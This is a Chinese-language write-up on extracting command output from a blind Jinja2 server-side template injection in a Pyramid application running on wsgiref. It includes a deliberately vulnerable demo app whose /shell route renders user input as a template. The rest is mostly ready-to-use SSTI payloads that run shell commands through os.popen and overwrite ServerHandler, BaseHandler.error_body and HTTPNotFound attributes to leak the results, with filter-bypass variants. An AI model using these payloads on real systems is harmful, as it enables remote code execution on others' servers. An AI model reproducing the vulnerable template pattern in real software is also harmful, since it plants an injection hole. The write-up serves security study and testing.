wsgiref应用无回显详细调试研究
字数 860 2025-08-22 12:23:00
WSGI内存马无回显详细调试研究
1. 背景介绍
Pyramid是一个灵活且功能强大的Python Web框架,完全兼容WSGI(Web Server Gateway Interface)。通过WSGI,Pyramid能够运行在任何WSGI兼容的Web服务器上(如Gunicorn、uWSGI等),并且可以通过中间件进行扩展和集成。
2. 测试环境搭建
2.1 示例代码
import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
import re
import os
def shell_view(request):
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [r'.*length.*']
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
def main():
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:
config.include('pyramid_chameleon') # 添加渲染模板
config.set_default_permission('view') # 设置默认权限为view
# 注册路由
config.add_route('root', '/')
config.add_route('shell', '/shell')
# 注册视图
config.add_view(shell_view, route_name='shell', renderer='string', permission='view')
config.scan()
app = config.make_wsgi_app()
return app
if __name__ == "__main__":
app = main()
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()
3. WSGI应用程序创建分析
3.1 make_wsgi_app方法
def make_wsgi_app(self):
"""Commits any pending configuration statements, sends a :class:`pyramid.events.ApplicationCreated` event to all listeners, adds this configuration's registry to :attr:`pyramid.config.global_registries`, and returns a :app:`Pyramid` WSGI application representing the committed configuration state."""
self.commit()
app = Router(self.registry)
# Allow tools like "pshell development.ini" to find the 'last'
# registry configured.
global_registries.add(self.registry)
# Push the registry onto the stack in case any code that depends on
# the registry threadlocal APIs used in listeners subscribed to the
# IApplicationCreated event.
self.begin()
try:
self.registry.notify(ApplicationCreated(app))
finally:
self.end()
return app
3.2 make_server方法
def make_server(host, port, app, server_class=WSGIServer, handler_class=WSGIRequestHandler):
"""Create a new WSGI server listening on `host` and `port` for `app`"""
server = server_class((host, port), handler_class)
server.set_app(app)
return server
4. 无回显调试技术
4.1 获取Handler类
通过sys.modules获取wsgiref.simple_server.ServerHandler:
{{ lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler }}
4.2 HTTP协议头回显
4.2.1 http_version回显
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "http_version", lipsum.__globals__.__builtins__.__import__('os').popen('echo test').read())}}
4.2.2 server_software回显
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "server_software", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
4.3 HTTP错误回显
4.3.1 500状态码回显
通过修改BaseHandler的error_body属性:
{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'error_body', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()['encode']())}}
或简写形式:
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "error_body", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
4.3.2 404状态码回显
通过修改HTTPNotFound类的explanation属性:
{{ lipsum['__globals__']['__builtins__']['exec']("setattr(Not,'explanation',shell)", {"Not":((lipsum|attr('__spec__')|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'], "shell": lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('echo 1a1')['read']()})}}
或简写形式:
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound, "explanation", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
也可以通过修改title属性:
{{(lipsum['__globals__']['__builtins__']['exec'])("setattr(Not,'title',shell)", {"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'], "shell": lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()})}}
或简写形式:
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound, "title", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
5. 关键点总结
-
WSGI应用创建流程:通过make_wsgi_app创建应用,然后使用make_server创建服务
-
Handler类定位:WSGIRequestHandler是处理请求的关键类,可以通过sys.modules获取
-
回显技术:
- 修改HTTP协议头(http_version, server_software)
- 修改错误响应(error_body)
- 修改404页面的explanation或title属性
-
Jinja2模板注入:利用模板引擎的特性执行代码并修改关键属性实现回显
-
绕过限制:使用各种属性访问方式绕过可能的过滤和限制
这些技术可以用于安全测试和漏洞验证,帮助安全研究人员更好地理解WSGI应用的安全特性和潜在风险。